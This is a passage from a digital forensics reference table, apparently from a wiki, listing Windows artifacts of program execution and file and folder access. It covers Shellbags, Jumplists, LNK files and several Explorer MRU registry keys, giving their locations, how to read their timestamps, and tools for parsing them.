                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | `%SystemDrive%:\Users\<USERNAME>\AppData\Local\Microsoft\CLR_v<VERSION>\UsageLogs\<BINARY_NAME>.exe.log`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |                                                                                                                                                                             |   |
| <p><code>NTUSER</code><br>-<br><code>RecentApps</code><br><br>Introduced in Windows 10 1607 and removed in Windows 10 1709 (with the key not present on subsequent version).</p>                                                                | Programs execution                                                                             | Undocumented feature, added and (relatively) shortly after removed from the Windows operating system.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | <p>Each subkey, identified with a GUID, under the <code>RecentApps</code> key correspond to an executed program. In these application GUID subkeys, the filename, last access timestamp, and run count of the application are stored.<br><br>Additionally, each application GUID subkey can have up to 10 subkeys, also identified with a GUID, that correspond to files accessed using the application. In these file GUID subkeys, the file name, file full path, and (on some OS version) an non-updated timestamp of last access.<br><br>The last write timestamp of an application subkey can indicate when the program was last executed. While the last write timestamp of a file subkey can indicate when the file was accessed (with the associated program).</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | <p>File: <code>%SystemDrive%:\Users\&#x3C;USERNAME>\NTUSER.dat</code><br>Registry key: <code>HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Search\RecentApps\&#x3C;GUID></code></p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |                                                                                                                                                                             |   |
| `Jumplist`                                                                                                                                                                                                                                      | Programs execution                                                                             | Detailed in `Files and folders access`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | -                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | -                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |                                                                                                                                                                             |   |
| <p><code>NTUSER</code><br>-<br><code>Explorer</code><br>-<br>Common Dialogs<br>-<br><code>CIDSizeMRU</code></p>                                                                                                                                 | Programs execution                                                                             | Recently executed programs, linked to `Common Dialogs` activities (pop boxes to open / save file, print, find / replace, ...).                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | <p>The key contains an ordered <code>Most Recently Used (MRU)</code> list of executed programs, identified through their filename.<br><br>The last write timestamp of the key thus corresponds to the timestamp of execution of the most recently executed program (first in the MRU list).</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | <p>File: <code>%SystemDrive%:\Users\&#x3C;USERNAME>\NTUSER.dat</code><br>Registry key: <code>HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\CIDSizeMRU</code></p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |                                                                                                                                                                             |   |
| <p><code>NTUSER</code><br>-<br><code>Explorer</code><br>-<br>Common Dialogs<br>-<br><br><code>LastVisitedMRU</code><br>/<br><code>LastVisitedPidlMRU</code><br><code>LastVisitedPidlMRULegacy</code><br>Renamed in Windows Vista and later.</p> | Programs execution                                                                             | <p>Records the programs used to open / save (some of) the file tracked in the <code>OpenSaveMRU</code> / <code>OpenSavePidlMRU</code> registry key.<br><br>Notably used to track the last folder used by a given program in an "Open File" / "Save File" <code>Common Dialogs</code> window.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | <p>Applications tracked are stored in an ordered <code>Most Recently Used (MRU)</code> list. The last write timestamp of the key thus corresponds to the timestamp of execution of the most recently executed program (first in the MRU list).<br><br>For each application, the full path of the folder can be constructed from information blocks on each subfolder in the location. For exemple, for the "%SystemRoot%\Users\Public\Documents" location, three blocks will be present: "Users", "Public", and "Documents". For each block, the created and last accessed timestamps and the MFT entry / sequence associated with the folder are referenced.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | <p>File: <code>%SystemDrive%:\Users\&#x3C;USERNAME>\NTUSER.dat</code><br><br>Registry key:<br><code>HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\LastVisitedMRU</code><br><code>HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\LastVisitedPidlMRU</code><br><code>HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\LastVisitedPidlMRULegacy</code></p>                                                                                                                                                                                                                                                                                      |                                                                                                                                                                             |   |
| <p><code>NTUSER</code><br>-<br><code>RunMRU</code></p>                                                                                                                                                                                          | Programs execution                                                                             | <p>Tacks items (program, files / folders, <code>URL</code>, ...) launched from the <code>Windows Run</code> launcher (Windows + R shortcut).<br><br>Entries are added / updated in near real-time.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | <p>Each entry successfully launched trough the <code>Windows Run</code> launcher is stored in a dedicated value under the <code>Explorer\RunMRU</code> key.<br><br>The values are ordered in a <code>Most recently used (MRU)</code> list, specified in the <code>MRUList</code> value.<br>Example: <code>MRUList</code> equals to <code>ba</code> means that the entry tagged as <code>b</code> was launched last / the most recently, preceded by the entry tagged as <code>a</code>.<br><br>The last write timestamp of the key thus indicates the timestamp of the most recently entered item.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | <p>File: <code>%SystemDrive%:\Users\&#x3C;USERNAME>\NTUSER.dat</code><br>Registry key: <code>HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU</code></p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |                                                                                                                                                                             |   |

### Files and folders access

| Name                                                                                                                                                                                            | Type                                    | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | Information / interpretation                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | Location                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | Tool(s)                                                                                                                                                                             |   |
| ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | - |
| <p><code>NTUSER</code> & <code>UsrClass</code><br>-<br><code>Shellbag</code></p>                                                                                                                | Folders access                          | <p>Registry keys designed as an user experience enhancing feature to keep track of Windows explorer graphical display settings on a folder-by-folder basis. For instance, a <code>Shellbag</code> entry is used to store the "View" mode of a folder (details, list, small / medium / large icons) as well as the column displayed (entry names, dates, sizes, etc.) and their order.<br><br><code>Shellbags</code> contain folders and network shares to which a given user has navigated (using the <code>Windows Explorer</code>), but not files or subdirectories if they were not accessed. An exception is for <code>ZIP</code> files opened directly as folders through the <code>Windows Explorer</code>, that are stored as if they were folders (with their content thus partially referenced depending on the related activity). <code>Shellbags</code> entries are also generated for access to the <code>Control Panel</code> settings, on an interface-by-interface basis (<code>Windows Firewall</code>, <code>Credential Manager</code>).<br><br><code>Shellbags</code> entries are not deleted upon deletion of the related folders and can thus be a source of historical information.<br><br>For more information: <a href="/pages/-Mj0lx0GD3iDV-DE1_US">Shellbags note</a>.</p> | <p>Various kinds of user activity may generate or update <code>Shellbag</code> entries (with different level of data depending on the activity):<br><br>- First access or renaming of folders, removable devices, or network shares through the Windows Explorer systematically generate a <code>Shellbag</code> entry.<br><br>- Graphical opening of compressed archives or ISOs.<br><br>- ...<br><br><br><code>Shellbag</code> entries are stored in registry as a tree-like data structure, with the root target having the topmost <code>BagMRU</code> key. Each sub-target (sub directory for example) of the parent target are then represented with both:<br><br>- A registry subkey, named with a numerical value (starting from <code>0</code>).<br><br>- A registry value (in the parent target's registry key), named with the same numerical value and associated with binary data that notably contains the target's name.<br><br>Each <code>Shellbag</code> <code>BagMRU</code> registry key also contains a <code>MRUListEx</code> value, that maintains the entries visited order, i.e the order in which the sub targets of a target were accessed (the last sub target accessed having a <code>MRU position</code> of 0).<br><br><br>Each <code>Shellbags</code> entry for a given target yield the following notable information:<br><br>- The target name and absolute path.<br><br>- The target modified, access, and created (<code>MAC</code>) timestamps (UTC), retrieved from the <code>$MFT</code> at the <code>Shellbag</code> entry creation (and not further updated).<br><br>- Additionally the <code>Shellbags</code> <code>BagMRU</code> hierarchical nature and <code>MRUListEx</code> list can be used to deduce the first and last interacted timestamps for some targets:<br><br>> For entries that do not have subkeys (i.e directory for which no subdirectory were accessed), the first interacted timestamp is equal to the key's <code>LastWriteTime</code> timestamp. This is due to the fact that the key is created when a target is first accessed, and further activity for that target (such as display settings modifications) will only update the key's values. When a subkey is created for the target (i.e when a subdirectory is accessed for that particular directory), the timestamp becomes unreliable as it reflect the creation of the subkey.<br><br>> The last interacted timestamp can be deducted for the sub target that was last interacted with (<code>MRU</code> position <code>0</code>), and is equal to the parent key's <code>LastWriteTime</code> timestamp.<br><br>Major updates of the Windows operating system may however result in modification of <code>ShellBags</code> entries, resulting in updated last written timestamp.</p> | <p><em>Locations starting from Windows 7:</em><br><br><code>Windows Explorer</code> activity:<br><br>File:<br><code>%SystemDrive%:\Users\&#x3C;USERNAME>\AppData\Local\Microsoft\Windows\UsrClass.dat</code><br><br>Registry keys:<br><code>HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU</code><br><code>HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags</code><br><br>Desktop and Network locations activity:<br><br>File:<br><code>%SystemDrive%:\Users\&#x3C;USERNAME>\NTUSER.dat</code><br><br>Registry keys:<br><code>HKCU\Software\Microsoft\Windows\Shell\BagMRU</code><br><code>HKCU\Software\Microsoft\Windows\Shell\Bags</code></p>                                                                                                                                                         | <p><code>ShellBagsExplorer</code><br><br><code>SBECmd.exe</code></p>                                                                                                                |   |
| `Jumplist`                                                                                                                                                                                      | Files and folders access                | <p>Linked to a taskbar user experience-enhancing feature that allows users to "jump" to files, folders or others elements by right clicking on open applications in the <code>Windows taskbar</code>. The <code>Windows Explorer</code>'s <code>Quick Access</code> feature also stores entries in <code>Jumplists</code>.<br><br>Two forms of <code>Jumplists</code> are created:<br><br>- Automatic entries for items recently accessed through the application: <code>\<APP\_IDENTIFIER>.automaticDestinations-ms</code> files.<br><br>- Custom entries for application defined or manually "pinned" elements: <code>\<APP\_IDENTIFIER>.customDestinations-ms</code> files.<br><br>For both <code>Jumplist</code> types, the <code>\<APP\_IDENTIFIER></code> is a Windows set unique identifier that is used to link a particular application with its <code>Jumplists</code>. While no official mapping is documented, <code>JLECmd</code> maintains a list of known application identifiers.<br><br>For more information: <a href="/pages/-Mj0lx09x0jV_n2s3ps-">Jumplist note</a>.</p>                                                                                                                                                                                                         | <p>An application is associated with one <code>AutomaticDestinations</code> file and one <code>CustomDestinations</code> file, that share the <code>\<APP\_IDENTIFIER></code> of the application.<br><br>A <code>JumpList</code> is assimilable to a series / list of <code>shortcut files (LNK)</code>, each entry in the <code>JumpList</code> being a <code>shortcut file</code> structure. Thus the same level of information found in a <code>shortcut file</code> is available for each item referenced in an application <code>AutomaticDestinations</code> and <code>CustomDestinations</code> <code>JumpLists</code>.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | <p><code>%SystemDrive%:\Users\&#x3C;USERNAME>\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\*.automaticDestinations-ms</code><br><br><code>%SystemDrive%:\Users\&#x3C;USERNAME>\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\*.customDestinations-ms</code></p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |                                                                                                                                                                                     |   |
| `LNK (shortcuts) Files`                                                                                                                                                                         | Files and folders access                | <p>Windows Shell Items that reference an original file, folder, or application.<br><br>While <code>shortcut files</code> can be created manually, the Windows operating system also creates <code>shortcut files</code> under numerous user activities, such as opening of a non-executable file. For instance, a <code>shortcut file</code> is created under <code>\[...]\AppData\Roaming\Microsoft\Windows\Recent\</code> whenever a file is opened from the <code>Windows Explorer</code>.<br><br>These automatically created and updated <code>shortcut files</code> are not deleted upon deletion of their associated files.<br><br>For more information: <a href="/pages/-Mj0lx0AaixEXq6EU5az">LNKFile note</a>.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | <p>The creation and modification timestamps of the shortcut file itself will usually respectively indicate when the target file was first and last opened.<br><br>Each shortcut file additionally yield the following information:<br><br>- The target file's absolute path, size and attributes (hidden, read-only, etc.).<br><br>- The target file modified, access, and created (<code>MAC</code>) timestamps at the time of the last access to the target file.<br><br>- Whether the target file was stored locally or on a remote network share.<br><br>- Occasionally information on the volume of the target file: name, type (fixed vs removable storage media), serial number, and label / name if any.<br><br>- Occasionally information on the host of the target file: system's NetBIOS hostname and MAC address.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | <p>Automatically created <code>shortcut files</code> for files opened from the Windows Explorer:<br><code>%SystemDrive%:\Users\&#x3C;USERNAME>\AppData\Roaming\Microsoft\Windows\Recent\*.lnk</code><br><br>Documents opened using <code>Microsoft Office</code>:<br><code>%SystemDrive%:\Users\&#x3C;USERNAME>\AppData\Roaming\Microsoft\Office\Recent\*.lnk</code><br><br><code>Shortcut files</code> created automatically by the <code>Windows Explorer</code> are referenced in the <code>NTUSER.DAT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs</code> registry keys.<br><br><code>Startup folders</code> items:<br><code>%SystemDrive%:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp</code><br><code>%SystemDrive%:\Users\&#x3C;USERNAME>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup</code><br><br></p> | <p><code>LECmd</code><br><br><code>exiftool</code></p>                                                                                                                              |   |
| <p>Windows 10 Timeline / <code>ActivitiesCache.db</code><br><br>Introduced in Windows 10's version 1803.</p>                                                                                    | Files and folders access                | Detailed in `Program execution`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | -                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | -                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |                                                                                                                                                                                     |   |
| `WebCacheV01.dat`                                                                                                                                                                               | Files and folders access                | <p>Access to local files may appear in the <code>WebCacheV01.dat</code> <code>ESE</code> database.<br><br>This database is mainly used to store browsing history, downloads, cache, and cookies (metadata) for the <code>Microsoft Internet Explorer</code> and <code>Microsoft Edge</code> (legacy) web browsers. However, access to local files, not necessarily through a web browser, may also appear in the <code>WebCacheV01.dat</code> database.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | Access to local files will be identifiable by the `file` `URI` scheme (such as `file:///<DRIVE_LETTER>:/folder/file`).                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | `%LocalAppData%\Microsoft\Windows\WebCache\WebCacheV01.dat`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | [`NirSoft's BrowsingHistoryView`](https://www.nirsoft.net/utils/browsing_history_view.html)                                                                                         |   |
| <p><code>NTUSER</code><br>-<br><code>Explorer</code><br>-<br>Common Dialogs<br>-<br><br><code>OpenSaveMRU</code><br><br><code>OpenSavePidlMRU</code><br>Renamed in Windows Vista and later.</p> | Files and folders access                | Information on files opened or saved through the "Open File" or "Save File" `Common Dialogs` window.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | <p>The <code>OpenSaveMRU</code>/ <code>OpenSavePidlMRU</code> keys has multiple subkeys, one for each different file extensions (for the files opened / saved on the given system).<br><br>Each subkey contains an ordered <code>Most recently used (MRU)</code> list of opened / saved files (full path of the file). The list can go up to 20 entries, with entries over 20 being overwritten.<br><br>The last write timestamp of each subkey thus corresponds to the timestamp of opening / saving of the file in MRU position 0 (for a given file extension).</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | <p>File: <code>%SystemDrive%:\Users\&#x3C;USERNAME>\NTUSER.dat</code><br><br>Registry key:<br><code>HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\OpenSaveMRU</code><br><code>HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\OpenSavePidlMRU</code></p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |                                                                                                                                                                                     |   |
| <p><code>NTUSER</code><br>-<br><code>Explorer</code><br>-<br><code>RecentDocs</code></p>                                                                                                        | Files and folders access                | Non-executable files opened through the Windows Explorer, stored as one subkey per file extension.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | <p>Each subkey contains the opened files of the given extension stored in a ordered <code>Most Recently Used (MRU)</code> list. The last written timestamp of the key correspond to the timestamp of the opening of the most recently accessed file (MRU position 0).<br><br>Entry created under the RecentDocs registry keys are associated with a shortcut file under <code>%SystemDrive%:\Users\&#x3C;USERNAME>\AppData\Roaming\Microsoft\Windows\Recent\</code>.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | <p>File: <code>%SystemDrive%:\Users\&#x3C;USERNAME>\NTUSER.dat</code><br>Registry key: <code>HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs</code></p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |                                                                                                                                                                                     |   |
| <p><code>NTUSER</code><br>-<br><code>Explorer</code><br>-<br><code>TypedPaths</code></p>                                                                                                        | Files and folders access                | <p>Paths entered (typed, pasted, or auto-completed) in the Windows Explorer location search bars.<br><br>Entries are not added / updated in real-time, but are seemingly added / updated on user logoff / system reboot.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | <p>The file paths are stored as <code>url1</code> to <code>url\[N]</code> in inversed chronological order.<br><br>The last write timestamp of the key is thus the timestamp of visit of the most recently visited path.<br><br>As program can be directly executed from the Windows Explorer search bar, traces of program executions may be found in the <code>TypedPaths</code> entries.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | <p>File: <code>%SystemDrive%:\Users\&#x3C;USERNAME>\NTUSER.dat</code><br>Registry key: <code>HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths</code></p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |                                                                                                                                                                                     |   |
| <p><code>NTUSER</code><br>-<br><code>Explorer</code><br>-<br><code>WordWheelQuery</code><br><br>Starting from Windows 7 and not present on Windows Server Operating Systems.</p>                | Files and folders access                | Keywords searched in from the `Windows Explorer` search box, potentially resulting in files or folders access.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | The entries are stored in a `Most Recently Used (MRU)` list. The last write timestamp of the key indicates the timestamp of the most recently searched keyword.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | <p>File: <code>%SystemDrive%:\Users\&#x3C;USERNAME>\NTUSER.dat</code><br>Registry key: <code>HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\WordWheelQuery</code></p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |                                                                                                                                                                                     |   |
| `Windows Search` database                                                                                                                                                                       | Files and folders access                | Detailed in `Filesystem`.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | -                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | -                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |                                                                                                                                                                                     |   |
| <p><code>NTUSER</code><br>-<br><code>RunMRU</code></p>                                                                                                                                          | Files and folders access                | Detailed in `Program execution`.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | -                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | -                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |                                                                                                                                                                                     |   |
| <p><code>NTUSER</code><br>-<br><code>RecentApps</code><br><br>Introduced in Windows 10 1607 and removed in Windows 10 1709 (with the key not present on subsequent version).</p>                | Files and folders access                | Detailed in `Program execution`.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | -                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | -                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |                                                                                                                                                                                     |   |
| <p><code>NTUSER</code><br>-<br><code>MountPoints2</code></p>                                                                                                                                    | Files and folders access                | Currently or previously mapped drives (such as the system drive, USB devices, or network shares) mounted by the associated user.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | <p>Each drives is represented by a subkey, which is named as either the <code>volume GUID</code>, a letter, or, for network shares, using a specific nomenclature (<code>##\<IP                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | HOSTNAME>#\<SHARE\_NAME></code>).<br><br>For more information on <code>MountPoints2</code> related to devices, refer to <code>Devices and USB activity</code>.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | <p>File: <code>%SystemDrive%:\Users\&#x3C;USERNAME>\NTUSER.dat</code><br><br>Registry key:<br><code>HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2</code></p> |   |
| <p><code>NTUSER</code><br>-<br><code>Map Network Drive MRU</code></p>                                                                                                                           | Files and folders access                | Recently used network shares.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | -                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | <p>File: <code>%SystemDrive%:\Users\&#x3C;USERNAME>\NTUSER.dat</code><br><br>Registry key:<br><code>HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Map Network Drive MRU</code></p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |                                                                                                                                                                                     |   |
